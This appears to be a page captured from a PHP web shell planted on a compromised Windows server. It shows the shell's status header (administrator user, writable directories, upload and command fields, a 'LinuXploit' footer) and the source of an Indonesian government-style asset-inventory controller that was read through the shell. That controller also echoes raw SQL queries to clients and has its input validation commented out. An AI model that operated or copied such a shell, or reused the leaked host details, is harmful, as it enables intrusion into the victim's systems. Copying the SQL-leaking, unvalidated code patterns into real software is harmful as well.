403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/simbada/application/core/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/simbada/application/core/Inventaris_Controller.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

/*********************************************************************************************
  SUPER CLASS dari semua Modul Inventaris
 *********************************************************************************************/
class Inventaris_Controller extends Userpage_Controller{

  var $modul_name;
  var $modul_display;
  var $view_form;
  var $view_daftar;
  var $report_form;
  var $report_daftar;
  var $message_aktivitas_dihapus  = 'Inventaris telah dihapus.';
  var $message_aktivitas_gagal_dihapus  = 'Inventaris tidak bisa dihapus.';

  public function __construct()
  {
    parent::__construct();
  }

  public function index()
  {
    $this->daftar();
  }

  protected function get_grid_model()
  {
    // di override di modul Inventaris
  }

  public function daftar()
  {
    $this->load->model('auth/login_model', 'auth');
    $data['breadcrumbs'] = 'Daftar '.$this->modul_display;
    $data['title'] = get_title($this->modul_display);
    $data['modul'] = $this->modul_name;
    $data['report_daftar'] = $this->report_daftar;
    $data['report_form'] = $this->report_form;
    $data['grid']['akses'] = $this->auth->get_level_akses($this->uri->slash_segment(1));
    $data['grid']['url'] = base_url($this->modul_name.'/get_daftar');
    $data['grid']['url_add'] = base_url($this->modul_name.'/form');
    $data['grid']['url_del'] = base_url($this->modul_name.'/hapus');
    $data['grid']['data'] = $this->data_model->get_grid_model();
    $data['grid']['fields'] = $this->data_model->get_data_fields();
    $data['main_content'] = $this->view_daftar;
    $this->load->view('layout/template', $data);
  }	

  public function get_daftar()
  {
    parent::get_daftar();
    $aggregate = $this->data_model->get_data($this->search_param, TRUE);
    $count = $aggregate['CNT'];

    $response = (object) NULL;
    $response->sql = $this->db->queries;
    if($count == 0) // tidak ada data
    {
      // menambahkan userdata jika ada
      $agg_fields = $this->data_model->fieldmap_daftar_aggregate;
      foreach($agg_fields as $kolom => $value)
      {
        $response->userdata[$kolom] = $aggregate[ strtoupper($kolom) ];
      }
      echo json_encode($response);
      return;
    }

    $page = $this->page;
    $limit = $this->limit;
    $total_pages = ceil($count/$limit);

    if ($page > $total_pages) $page = $total_pages;
    $start = $limit * $page - $limit;
    if($start < 0) $start = 0;
    $this->search_param['limit'] = array(
        'start' => $start,
        'end' => $limit
    );

    $result = $this->data_model->get_data($this->search_param);

    $response->page = $page;
    $response->total = $total_pages;
    $response->records = $count;
    $response->sql = $this->db->queries;

    $fields = $this->data_model->fieldmap_daftar;
    for($i=0; $i<count($result); $i++)
    {
      $response->rows[$i]['id'] = $result[$i][$fields[0]];
      $data = array();
      for ($n=1; $n < count($fields); $n++)
      {
        $data[] = $result[$i][$fields[$n]];
      }
      $response->rows[$i]['cell'] = $data;
    }
    // menambahkan userdata jika ada
    $agg_fields = $this->data_model->fieldmap_daftar_aggregate;
    foreach($agg_fields as $kolom => $value)
    {
      $response->userdata[$kolom] = $aggregate[ strtoupper($kolom) ];
    }
    
    echo json_encode($response);
  }

  protected function get_extra_data($id)
  {
    return;
  }

  public function form($id=0)
  {
    $data = array();
		$data['tahun_anggaran'] = $this->session->userdata('tahun');
    $data['title'] = get_title($this->modul_display);
    $data['modul'] = $this->modul_name;
    $data['modul_display'] = $this->modul_display;
    $data['report_form'] = $this->report_form;
    $this->load->model('auth/login_model', 'auth');
    $data['akses'] = $this->auth->get_level_akses($this->uri->slash_segment(1));
    
		if ($id !== 0)
    {
      $data['data'] = $this->data_model->get_data_by_id($id);
			
			/*
				Untuk keperluan bisa mengubah master barang saat mode edit,-
				dengan catatan inventaris tersebut belum mutasi dan bukan berasal dari pengadaan.
			*/
			$data['data_mutasi'] = $this->data_model->get_data_mutasi($id);			
			$id_pengadaan = isset($data['data']['ID_PENGADAAN']) ? $data['data']['ID_PENGADAAN'] : 0;
			$id_inventaris = isset($data['data_mutasi']['ID_INVENTARIS']) ? $data['data_mutasi']['ID_INVENTARIS'] : 0;
			
			if ($id_pengadaan == 0 and $id_inventaris == 0)
			{
				$data['validasi_maba'] = 0;
			}
			else
			{
				$data['validasi_maba'] = 1;
			}
    }
		
    $data['main_content'] = $this->view_form;
    $data['extra'] = $this->get_extra_data($id);
    $this->load->view('layout/template',$data);
  }

  protected function validasi_form()
  {
    /*if ($this->input->post('auto') !== 'true') {
      $this->form_validation->set_rules('no', 'Nomor', 'required|trim|max_length[50]|callback__cek_nomor');
    }
    $this->form_validation->set_rules('tgl', 'Tanggal', 'required|trim');
    $this->form_validation->set_rules('deskripsi', 'Keterangan', 'trim');

    $this->form_validation->set_message('required', '%s tidak boleh kosong.');
    $this->form_validation->set_message('max_length', '%s tidak boleh melebihi %s karakter.');
    $this->form_validation->set_message('_cek_nomor', '%s sudah ada.');*/

    $this->validasi();
  }

  protected function extra_message()
  {
    return array();
  }
	
	public function proses_inv()
  {	
    $response = (object) NULL;
		$this->load->model('auth/login_model', 'auth');
    $akses = $this->auth->get_level_akses($this->uri->slash_segment(1));
    
		if($akses == '3')
    {		
      $this->load->library('form_validation');
      $this->validasi_form();

      /* if($this->form_validation->run() == TRUE)
      { */				
        $this->data_model->fill_data();
        $success = $this->data_model->save_data();

        if($success){
          $response->isSuccess = TRUE;          
					$response->message = 'Data berhasil disimpan';
          $response->id = $this->data_model->id;
          $response->sql = $this->db->queries;
        }
        else
        {
          $response->isSuccess = FALSE;          
					$response->message = 'Data gagal disimpan';
          $response->error = $this->data_model->last_error_message;
          $response->sql = $this->db->queries;
        }
      /* }
      else
      {
        $response->isSuccess = FALSE;
        $response->sql = $this->db->queries;
        $response->message = validation_errors();
      } */	  
    }
    else
    {
      $response->isSuccess = FALSE;
      $response->message = 'Proses Gagal, Anda tidak memiliki hak akses';
    }
		
    echo json_encode($response);
  }

  public function _cek_nomor($nomor)
  {
    return $this->data_model->cek_duplikasi_nomor($nomor);
  }

  public function _cek_bku()
  {
    return FALSE;
  }

  public function prev($id=0)
  {
    $response = (object) NULL;
    $response->isSuccessful = FALSE;
    if ($id !== 0)
    {
      $result = $this->data_model->get_prev_id($id);
      if ($result)
      {
        $response->isSuccessful = TRUE;
        $response->id = $result;
      }
    }
    echo json_encode($response);
  }

  public function next($id=0)
  {
    $response = (object) NULL;
    $response->isSuccessful = FALSE;
    if ($id !== 0)
    {
      $result = $this->data_model->get_next_id($id);
      if ($result)
      {
        $response->isSuccessful = TRUE;
        $response->id = $result;
      }
    }
    echo json_encode($response);
  }

  protected function check_dependency($id)
  {
    return TRUE;  // di override di modul Aktivitas
  }	
	
	public function GetNoRegister()
  {
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0,
			'jenis' => $this->input->post('jenis') ? $this->input->post('jenis') : '',
    );

    $result = $this->data_model->GetNoRegister($param);
		
		if (!empty($result[0]['NO_REGISTER']))
		{
			$plus = $result[0]['NO_REGISTER'] + 1;
			$digit = 4;
			$no_register = sprintf("%0".$digit."s",$plus);
			
		}
		else
		{
			$no_register = '0001';
		}		
		
    $response = (object) NULL;
    $response = array(
        'no_register' => $no_register,
        'sql' => $this->db->queries,
    );
		
    echo json_encode($response);
  }
	
	/* public function GetLokasi()
  {
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0
    );

    $result = $this->data_model->GetLokasi($param);
		
    $response = (object) NULL;
    $response = array(
        'x_kode' => isset($result[0]['X_KODE']) ? $result[0]['X_KODE'] : '',
				'x_unit' => isset($result[0]['X_UNIT']) ? $result[0]['X_UNIT'] : '',
        'sql' => $this->db->queries,
    );
		
    echo json_encode($response);
  }
	 */
	 
	public function GetLokasi()
  {
    $param = array(
      'id_skpd' => $this->input->post('id_skpd') ? $this->input->post('id_skpd') : 0
    );

    $result = $this->data_model->GetLokasi($param);
		
    $response = (object) NULL;
    $response = array(
        'kd_daerah' => '12.11.22',
				'kd_bid' => isset($result[0]['KODE_BIDANG']) ? $result[0]['KODE_BIDANG'] : '',
				'kd_unit_bid' => isset($result[0]['KODE_UNIT_BIDANG']) ? $result[0]['KODE_UNIT_BIDANG'] : '',
				/* 'thn_perolehan' => '', */
				'sat_kerja' => isset($result[0]['SATUAN_KERJA']) ? $result[0]['SATUAN_KERJA'] : '',
        'sql' => $this->db->queries,
    );
		
    echo json_encode($response);
  }
	
	
	public function GetCaraPerolehan()
	{
		$keyword = $this->input->post('term', TRUE);
		$this->data_model->GetCaraPerolehan($keyword);
	}
	
	public function GetSumberDana()
	{
		$keyword = $this->input->post('term', TRUE);
		$this->data_model->GetSumberDana($keyword);
	}
	
	public function GetNilaiPenyusutan()
  {
    $param = array(
      'kel_penyusutan' => $this->input->post('kel_penyusutan') ? $this->input->post('kel_penyusutan') : NULL,
			'id_maba' => $this->input->post('id_maba') ? $this->input->post('id_maba') : 0
    );

    $result = $this->data_model->GetNilaiPenyusutan($param);
		
    $response = (object) NULL;
    $response = array(       
			'nilai_penyusutan' => isset($result) ? $result : 0,
			'sql' => $this->db->queries,
    );
		
    echo json_encode($response);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit